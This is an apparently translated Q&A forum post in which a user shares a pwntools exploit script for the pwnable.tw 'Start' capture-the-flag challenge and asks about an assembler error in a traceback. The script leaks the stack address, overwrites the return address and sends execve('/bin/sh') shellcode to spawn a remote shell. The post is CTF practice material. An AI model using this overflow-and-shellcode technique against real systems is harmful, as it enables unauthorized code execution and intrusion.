我在python2.7上使用asm遇到麻烦

时间:2019-12-01 08:41:30

标签: python assembly exploit pwntools

我正在解决Start上的第一个挑战pwnable.tw,这是我编写的代码:

from pwn import *

r = remote('chall.pwnable.tw', 10000)
context.arch = 'i386'
print(r.recvuntil('CTF:'))
payload1 = 'A'*20 + p32(0x08048087)
r.send(payload1)
esp = u32(r.recv()[:4])

shellcode = asm('\n'.join([
    'push %d' % u32('/sh\0'),
    'push %d' % u32('/bin'),
    'mov eax, 0xb'
    'xor ecx, ecx'
    'xor edx, edx'
    'mov ebx, esp'
    'int 0x80'
]))

payload2 = 'A'*20 + p32(esp+20) + shellcode
r.send(payload2)
r.interactive() 

第13行出现错误,该错误表明:

[+] Opening connection to chall.pwnable.tw on port 10000: Done
Let's start the CTF:
Traceback (most recent call last):
  File "start.py", line 13, in <module>
    'mov eax, 0xb'
  File "/Users/arav/Library/Python/2.7/lib/python/site-packages/pwnlib/context/__init__.py", line 1440, in setter
    return function(*a, **kw)
  File "/Users/arav/Library/Python/2.7/lib/python/site-packages/pwnlib/asm.py", line 643, in asm
    assembler = _assembler()
  File "/Users/arav/Library/Python/2.7/lib/python/site-packages/pwnlib/asm.py", line 246, in _assembler
    version = re.search(r' (\d\.\d+)', result).group(1)
AttributeError: 'NoneType' object has no attribute 'group'
[*] Closed connection to chall.pwnable.tw port 10000

python2.7.17上的asm指令究竟有什么错误?

0 个答案:

没有答案